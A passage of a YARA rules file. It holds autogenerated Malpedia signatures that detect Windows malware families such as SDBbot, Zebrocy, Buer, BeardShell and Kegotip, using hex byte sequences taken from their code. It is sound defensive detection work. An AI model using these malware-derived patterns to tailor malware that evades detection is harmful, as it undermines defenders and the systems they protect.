		$sequence_4 = { 7d0d 8a4c181c 888870c64000 40 }
		$sequence_5 = { 50 68???????? e8???????? 83c408 68???????? e8???????? 8b4528 }
		$sequence_6 = { 83f914 0f8798000000 0fb691b0854000 ff249588854000 }
		$sequence_7 = { 0f8c260a0000 8d42e0 3c58 770f 0fbec2 0fbe8060914000 83e00f }
		$sequence_8 = { 56 57 50 c745fc00000000 ffd3 }
		$sequence_9 = { 53 8b1d???????? 56 57 50 c745fc00000000 }
	condition:
		7 of them and filesize < 147456
}

rule MALPEDIA_Win_Sdbbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e5ddf82d-6516-5715-9fa8-b1a6bdbb883d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sdbbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sdbbot_auto.yar#L1-L180"
		license_url = "N/A"
		logic_hash = "a7c9bbefe17c51ab7bd282fe70d8133f645f1f7f65d3be7e33bd1c26f76ee007"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 03f3 8b17 03d3 33c9 8a02 }
		$sequence_1 = { 8b5df0 8bbb80000000 03fe 897dec 833f00 0f847d000000 }
		$sequence_2 = { 2b7b34 8955ec 85d2 0f84ae000000 8b83a0000000 03c6 }
		$sequence_3 = { 56 57 c745e400000000 895df4 895de0 }
		$sequence_4 = { 8945fc 85c0 0f84c2010000 0f1f840000000000 8b7028 33c9 }
		$sequence_5 = { 8b5b10 8b433c 8b441878 03c3 8945dc 8b7820 }
		$sequence_6 = { 03c1 8955ec 8945e4 85d2 0f8560ffffff 8b5df0 8b7328 }
		$sequence_7 = { 7403 4f ebe2 64a130000000 897df8 }
		$sequence_8 = { c3 803d????????00 750c c605????????01 }
		$sequence_9 = { 664503de 4983c004 4983c102 664585db 75ac 4c8bb42480000000 }
		$sequence_10 = { 41bb01000000 48897c2438 4c89ac2488000000 488b4818 4c8b7920 }
		$sequence_11 = { 41b9ffff0000 458d6b03 66660f1f840000000000 498b5750 33c0 450fb74748 }
		$sequence_12 = { 48ffc2 8801 488d4901 4983e801 }
		$sequence_13 = { 7446 4d03cf 0f1f840000000000 418b49f8 49ffca 418b11 4903ce }
		$sequence_14 = { 418b11 4903ce 458b41fc 4903d5 4d85c0 7419 0f1f8000000000 }
		$sequence_15 = { 488bf0 4885c0 7474 8b7d10 8b5d00 4903fe }
		$sequence_16 = { 0f84a7000000 0f1f840000000000 8b4304 85c0 }
	condition:
		7 of them and filesize < 1015808
}

rule MALPEDIA_Win_Sobig_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f2079ef3-4c71-5dab-833c-5773ab6ef02f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sobig"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sobig_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "0c745bccdca469dd967ba05a41b0d6b9484e837d88e70b86ce4dd51c26e4309d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c645fc01 e8???????? 56 8d4dc8 885dfc e8???????? 834dfcff }
		$sequence_1 = { 48 85c9 742e 53 40 57 }
		$sequence_2 = { 50 e8???????? 83ec10 8d45b0 8bcc 8965c4 50 }
		$sequence_3 = { 034e18 83c418 c645fc03 51 }
		$sequence_4 = { 7ced 85f6 7e15 8bce 8d75c0 8bc1 8bfb }
		$sequence_5 = { 8d4ddc e8???????? 85c0 0f84a0000000 68???????? 8d4ddc }
		$sequence_6 = { 7505 b8???????? 50 8d8544fbffff 68???????? 50 ff15???????? }
		$sequence_7 = { e8???????? e9???????? 6a10 8d45ac 6a00 50 e8???????? }
		$sequence_8 = { 83c320 3b7e04 7cee 5b ff36 e8???????? 59 }
		$sequence_9 = { 3b7e08 7ce6 83c8ff 5f 5e 5b c20400 }
	condition:
		7 of them and filesize < 262144
}

rule MALPEDIA_Win_Unidentified_115_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3a1ba5f2-6d8b-53d1-afa7-3efb81c22fc0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_115"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_115_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "6028b5eb1b27194aba70c1eb50e5d4032510571ea08ddcbdb15ab7d8877e12da"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488945f0 488b05???????? 488945f8 ff15???????? 488d0d72f80000 ff15???????? }
		$sequence_1 = { 488d0d8f150100 eb62 488b1d???????? 4c8d4c2428 ba01000000 4889c1 41b840000000 }
		$sequence_2 = { 488b13 4889f1 4883c308 e8???????? ebea 4881c420010000 5b }
		$sequence_3 = { ffd3 488d1590f60100 4889c1 e8???????? b901000000 e8???????? 90 }
		$sequence_4 = { 48893d???????? 498dbe50010000 48891d???????? 488d1d80dc0300 4c891d???????? 4c8d1d72e10300 }
		$sequence_5 = { 483346f0 4889842490000000 e9???????? 488b3a 4883c208 4889f8 4989fc }
		$sequence_6 = { 488b15???????? 4c89e1 e8???????? 4989c4 e9???????? 488b43f0 488d53f0 }
		$sequence_7 = { 488b03 4989df 4889fa 4885c0 7403 488b10 498b4f08 }
		$sequence_8 = { 4c8d2d33db0200 e8???????? 4c89e9 4889c2 e8???????? 488b0d???????? ba18000000 }
		$sequence_9 = { 89dd c1c507 4431d5 448b9424d8000000 428db416708b4bc2 4189da 01ee }
	condition:
		7 of them and filesize < 648192
}

rule MALPEDIA_Win_Enigma_Loader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cc26267d-179f-5094-a193-17b8c695e45b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.enigma_loader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.enigma_loader_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "3dcf8ded19af004c0de0e4efb8fdefb86f8c4578eb04199c475e4c233dfc8212"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d4da0 e8???????? 90 488d15acf80200 488bc8 e8???????? 0f1000 }
		$sequence_1 = { 493bc1 0f84d9010000 4c8d4001 4c89442430 488b4910 482b0a 48c1f904 }
		$sequence_2 = { 482b01 49b8ffffffffffffff1f 48c1fd03 4c8bfa 48c1f803 488bf9 }
		$sequence_3 = { 488d15fb560300 488d4c2420 e8???????? cc 4053 4883ec20 488bd9 }
		$sequence_4 = { e8???????? 90 c6462801 40387e29 0f85b6050000 bb00100000 488b542448 }
		$sequence_5 = { 0f28c6 e8???????? 6685c0 0f8f40080000 498d4e20 488d9508020000 e8???????? }
		$sequence_6 = { 4c8d4dd0 418bc4 41f7e0 c1ea05 0fbec2 6bc83a 418ac0 }
		$sequence_7 = { 488d8424a8000000 4889442420 48895c2428 488933 48897308 b950000000 e8???????? }
		$sequence_8 = { 83f901 752f 488bca e8???????? 448be0 eb22 }
		$sequence_9 = { 57 488bec 4883ec40 448ada 488bf1 4883c120 488d55f0 }
	condition:
		7 of them and filesize < 798720
}

rule MALPEDIA_Win_Unidentified_039_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5307ab67-7df6-58f4-b452-1c07a33c71d9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_039"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_039_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "afa5455e6fc48dacd94f7935b5ea52166f1efb72a1cca9234dab50b4c119076b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 2bc8 034df4 81f1a1710000 894df8 8b45f4 8b4d0c 3bc8 }
		$sequence_1 = { 894dfc 8b45f4 8b4df8 3bc8 7d0c ff75f8 }
		$sequence_2 = { 837ddc00 75e6 c6460401 830eff 8bc6 2b04bd20d24100 }
		$sequence_3 = { c745d8d9580000 8b45dc 59 59 8b4de0 }
		$sequence_4 = { c7459c2e4c0000 c7459cd65d0000 8b459c 251f140000 89459c }
		$sequence_5 = { 0bc1 8945d8 8b45f0 8b4df4 3bc8 7c0c }
		$sequence_6 = { 40 663bcb 75f6 6a25 2bc2 8d4d04 51 }
		$sequence_7 = { 6890010000 53 53 53 894538 }
		$sequence_8 = { 0fafc1 8b4de8 2bc1 8b4dec 81e97f650000 33c1 8945f8 }
		$sequence_9 = { 8b4dfc 0bc1 0d403a0000 8945f8 8b4508 8b4dfc 3bc8 }
	condition:
		7 of them and filesize < 262144
}

rule MALPEDIA_Win_Kegotip_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "70477c51-c689-59a8-8176-7550acce9ee4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kegotip"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kegotip_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "da81d78c4e1182921c0ea815e9750dcd5bacf467108d0f772088273b021761e1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb04 33c0 eb6d e9???????? eb63 }
		$sequence_1 = { 85c9 740b 8b5508 0355f8 8955fc eb02 ebbb }
		$sequence_2 = { 8b450c 50 8d8df8feffff 51 e8???????? 83c408 c785a8fcffff80000000 }
		$sequence_3 = { 0f840c010000 6a00 6a00 6a03 6a00 6a00 6a50 }
		$sequence_4 = { 0fb64df7 85c9 7504 32c0 eb38 c645f700 }
		$sequence_5 = { 3b5588 7d1e 8b4508 038578ffffff 0fbe4801 }
		$sequence_6 = { ff5510 83c408 0fb6c8 85c9 7504 32c0 eb07 }
		$sequence_7 = { 6a00 6800000080 8d95d8feffff 52 ff15???????? 8945e4 837de4ff }
		$sequence_8 = { 32c0 e9???????? 68???????? e8???????? 83c404 68???????? }
		$sequence_9 = { 3b4dfc 7324 8b5510 0355e4 8b45f4 0345f8 }
	condition:
		7 of them and filesize < 278528
}

rule MALPEDIA_Win_Bamital_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e219e6ea-4608-5a74-87dd-c6cc7daca55c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bamital"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bamital_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "24d30014c19935766f45a136deb9c4126e6e7e91127fb6207f37108ee605d496"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 803820 7516 83c101 83f901 7504 8bd0 }
		$sequence_1 = { 2945f8 ff75f8 e8???????? 5e ff75f8 56 }
		$sequence_2 = { 33c0 5e 5f 5b 5a 59 }
		$sequence_3 = { 52 e8???????? 837dd800 7505 e9???????? }
		$sequence_4 = { b910000000 f3ab eb0c 8bcb f3a4 011d???????? }
		$sequence_5 = { 8b55fc 8945fc 0bd2 7406 52 e8???????? }
		$sequence_6 = { 5b 5a 59 c9 c21000 33c0 5e }
		$sequence_7 = { 83c024 6a00 50 e8???????? }
		$sequence_8 = { 75f1 8d0411 33c2 5f 5e c9 }
		$sequence_9 = { e8???????? 83c708 57 ff7004 e8???????? 83c708 }
	condition:
		7 of them and filesize < 90112
}

rule MALPEDIA_Win_Ddkong_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "18188be3-073f-50a3-9f50-97e094dccbb5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkong"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ddkong_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "91db8e15d23c634005ba3b638556ede7055d1f867550b80fb7edc67358abbb64"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8065d300 8d45c0 50 53 ffd6 50 ffd7 }
		$sequence_1 = { c644241561 c64424166c c644241746 c644241b00 ff15???????? 50 ff15???????? }
		$sequence_2 = { ebcd 53 53 53 }
		$sequence_3 = { bb???????? 50 53 c645a457 c645a561 c645a669 }
		$sequence_4 = { 8d8500ffffff 50 53 ffd7 }
		$sequence_5 = { 56 8b35???????? 8d45ec 57 bb???????? 50 53 }
		$sequence_6 = { c645b474 8d45ac c645b541 50 8d45f0 }
		$sequence_7 = { 8d45a4 bb???????? 50 53 }
		$sequence_8 = { 7427 837d08ff 7421 8d45dc 6a10 50 ff7508 }
		$sequence_9 = { 50 ffd6 898504ffffff 8d45c4 }
	condition:
		7 of them and filesize < 81920
}

rule MALPEDIA_Win_Zebrocy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a5288975-5a36-5a4a-9025-084c7ee804a2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zebrocy_auto.yar#L1-L166"
		license_url = "N/A"
		logic_hash = "31a3a19dc89466809ccbf56c8c805a07b997358dbb942052f14c84a36be45691"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c605????????03 c705????????04000000 c605????????11 c705????????00000000 }
		$sequence_1 = { e8???????? 84c0 8b4de0 7507 }
		$sequence_2 = { 50 8d45f4 64a300000000 6aff 33ff c745fc01000000 }
		$sequence_3 = { 8be5 5d c21000 8b4d14 51 56 }
		$sequence_4 = { e8???????? 83c41c 83ec1c 8bcc 89a5f4f4ffff }
		$sequence_5 = { ff25???????? ebb5 55 b9???????? 89e5 }
		$sequence_6 = { f2ae 89c8 f7d0 8d5402ff }
		$sequence_7 = { 8bd8 3bc7 7e63 8d642400 6a02 }
		$sequence_8 = { 397de0 7f57 8b03 85c0 }
		$sequence_9 = { 8d45f4 64a300000000 33db 897d90 895d94 6aff c745fc01000000 }
		$sequence_10 = { 89d8 e8???????? 8d9510fcffff 89c6 8d8500fcffff 89d7 }
		$sequence_11 = { 89c7 eb2f 89f2 89d9 e8???????? }
		$sequence_12 = { 325032 7032 7c32 9c 32a432ac32c432 d432 e8???????? }
		$sequence_13 = { 33c0 894e14 894710 894714 c645fc00 837de810 720c }
		$sequence_14 = { 66c705????????6046 8915???????? ba???????? a3???????? e8???????? }
		$sequence_15 = { 89b5c4f7ffff 899dc0f7ffff 889db0f7ffff 39bd38f7ffff }
	condition:
		7 of them and filesize < 393216
}

rule MALPEDIA_Win_Dexbia_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "10b4a5d0-b360-57a4-9e4b-c6a9cc13bd8b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dexbia"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dexbia_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "a367731eb970680df53cbd5e2b030972026c39b111bddedbf1b2202ab2b56805"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 66ab aa b9ff040000 33c0 8dbc249d260000 be???????? f3ab }
		$sequence_1 = { 8d8ef8000000 8d9638010000 51 52 e8???????? 83c408 }
		$sequence_2 = { 8bca 83c020 83e103 8d9424a0120000 f3a4 8d8c24a0260000 }
		$sequence_3 = { 72c1 8b4508 c705????????01000000 50 a3???????? e8???????? 8db6ec894000 }
		$sequence_4 = { 60 55 40 008c554000b055 }
		$sequence_5 = { 81c444040000 68a00f0000 ffd5 e9???????? 53 8d8c2418100000 53 }
		$sequence_6 = { e8???????? 8d942468040000 50 52 68???????? }
		$sequence_7 = { 8bb42480010000 8bbc2484010000 c744241400000000 6a64 }
		$sequence_8 = { 85c0 0f85e5feffff 8bd7 b9ff090000 8dbc2455040000 88842454040000 }
		$sequence_9 = { 33c0 8d7c247d c644247c00 f3ab 66ab aa }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Croxloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "74969832-3646-5c22-9967-7e8cb3d178d9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.croxloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.croxloader_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "5587745f089fbff18eabf5b798d40f2503c06a9701158cb607e6e154e3ca0b65"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d4e18 41b801010000 e8???????? 418bc6 4d8d4d10 4c8d3d901d0100 }
		$sequence_1 = { 4156 4157 488b05???????? 4d8bf8 448bf2 8bf1 4885c0 }
		$sequence_2 = { 498bce ff15???????? 488bd8 eb02 33db 4c8d358d93ffff 4885db }
		$sequence_3 = { 48c7c1ffffffff ff15???????? 488bbc2480030000 488b8c2460030000 }
		$sequence_4 = { 4c8d052aad0000 488bf9 488d1528ad0000 b904000000 e8???????? 8bd3 488bcf }
		$sequence_5 = { 4883ec20 448bf9 4c8d356e94ffff 4d8be1 }
		$sequence_6 = { 48895c2408 57 4883ec20 488d1d5f290100 488d3d58290100 eb12 488b03 }
		$sequence_7 = { 33db 4c8d358d93ffff 4885db 750d }
		$sequence_8 = { 410f42d0 6bdb21 0fb6d2 03da 48ffc0 ebd6 8bc8 }
		$sequence_9 = { 803d????????00 754c 488d0db41e0100 48890d???????? 488d05661b0100 488d0d8f1d0100 488905???????? }
	condition:
		7 of them and filesize < 241664
}

rule MALPEDIA_Win_Beardshell_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0fef5153-0695-5651-88d6-fa2574fcc87d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beardshell"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.beardshell_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "104b3d19aef271122113e5b1a20be0ecaabcd5f4198f381800365cc8cf878c7b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d55c0 498bcc 488b4038 ff15???????? 410fbaed0e 4183cd20 44896c243c }
		$sequence_1 = { 8a44246f 4c8b4c2460 488b542460 448a442440 88442420 e8???????? 4889442470 }
		$sequence_2 = { e8???????? 488b4c2430 4c8d442460 4983c008 488d542458 e8???????? 488b4c2470 }
		$sequence_3 = { e9???????? 488b8424b8000000 4889842488000000 4c8b442458 48634c2448 31c0 4829c8 }
		$sequence_4 = { 488b4010 4883e00f 4889442448 48837c244800 0f84ce000000 488b442450 }
		$sequence_5 = { 0fbf1448 c1ea02 b901000000 84d1 7510 837d4004 7594 }
		$sequence_6 = { 410f104500 f30f7f4587 48897c2420 440fb74c2440 4c8d4587 488d55b7 488bce }
		$sequence_7 = { e9???????? c644245f31 8b442460 83e87f 89442458 488b842480000000 483b842488000000 }
		$sequence_8 = { 4889c1 488b442430 48894c2440 488b4c2450 48894810 66448b44245e 488b542450 }
		$sequence_9 = { e8???????? e9???????? 488b4c2448 e8???????? 488b4c2430 6689c2 e8???????? }
	condition:
		7 of them and filesize < 2416640
}

rule MALPEDIA_Win_Buer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "89828c66-91da-5c73-b764-daf37491e283"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.buer_auto.yar#L1-L161"
		license_url = "N/A"
		logic_hash = "841b3dfa43e2148141873077b2e81e7484da2dab92e27c89fccfead95f717524"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b45dc 03c6 89414c 8b45fc 03c7 894150 8b45ec }
		$sequence_1 = { 8b55e8 015158 8b55d8 894148 }
		$sequence_2 = { 8b00 8b4010 8945fc 61 8b45fc }
		$sequence_3 = { 3bc7 7d0f 8a0c46 880c18 40 }
		$sequence_4 = { 8b7b50 8b4340 0345f8 8b5b54 }
		$sequence_5 = { 8b45f4 03c1 8bcb 894144 8b45f0 }
		$sequence_6 = { 64a130000000 8b400c 8b4014 8b00 8b4010 }
		$sequence_7 = { 8bc2 eb19 33c0 85d2 7e13 3bc7 7d0f }
		$sequence_8 = { 01cf 29ce 75a7 e9???????? }
		$sequence_9 = { 01de 39d6 0f8384000000 8b742414 }
		$sequence_10 = { 01c7 0fa5da d3e3 8b4c2444 }
		$sequence_11 = { 0facd313 884e04 8b74247c 8bc6 8b4c2440 }
		$sequence_12 = { 0fb617 47 89f9 83e23f eb11 }
		$sequence_13 = { 01fe 68???????? e8???????? a1???????? }
		$sequence_14 = { 0f82d1000000 83f8fe 0f83d1000000 89d6 }
		$sequence_15 = { 01de 39c1 0f47c1 89c1 89442420 662e0f1f840000000000 39f9 }
	condition:
		7 of them and filesize < 3031040
}

rule MALPEDIA_Win_Teleport_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8775bf50-843a-53a5-99d2-7f1e8df96bef"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.teleport"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.teleport_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "faedc771daee9d9167e2f4449bf3e87076b81c367250e9b9589a86138f934d43"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? 894768 893d???????? ff15???????? }
		$sequence_1 = { 894824 c6401c01 894dfc 8d85d0feffff b912000000 eb50 }
		$sequence_2 = { 8b04bde83e4300 ff743018 ff15???????? 85c0 0f95c0 5f 5e }
		$sequence_3 = { 8b01 6a01 ff10 8b4608 8d7e08 8b08 8900 }
		$sequence_4 = { 83c404 8b4dc0 0f1003 0f110401 83c010 8945c8 eb06 }
		$sequence_5 = { 8b45ec c1e810 0fb6c0 330c85a0fe4200 0fb6c2 330c85a0f64200 334fe8 }
		$sequence_6 = { 3bf0 745a 0f1f440000 68???????? 8bcf e8???????? 837e1c08 }
		$sequence_7 = { 8b4104 8987a4000000 8b5108 8945f8 8bc2 8997a8000000 8b590c }
		$sequence_8 = { 894820 894824 c6401c01 8d45c0 c745fc08000000 be00100000 }
		$sequence_9 = { 0fb6c3 8b5de8 331485a0f64200 3357ac 8bc2 c1e808 0fb6c8 }
	condition:
		7 of them and filesize < 458752
}

rule MALPEDIA_Win_Lookback_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "85752543-778d-502f-a58c-a2ac64bb54fd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lookback"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lookback_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "d58209e22f4f6576558a613c24f624b5020028fc2870f726763fd240be9135bc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
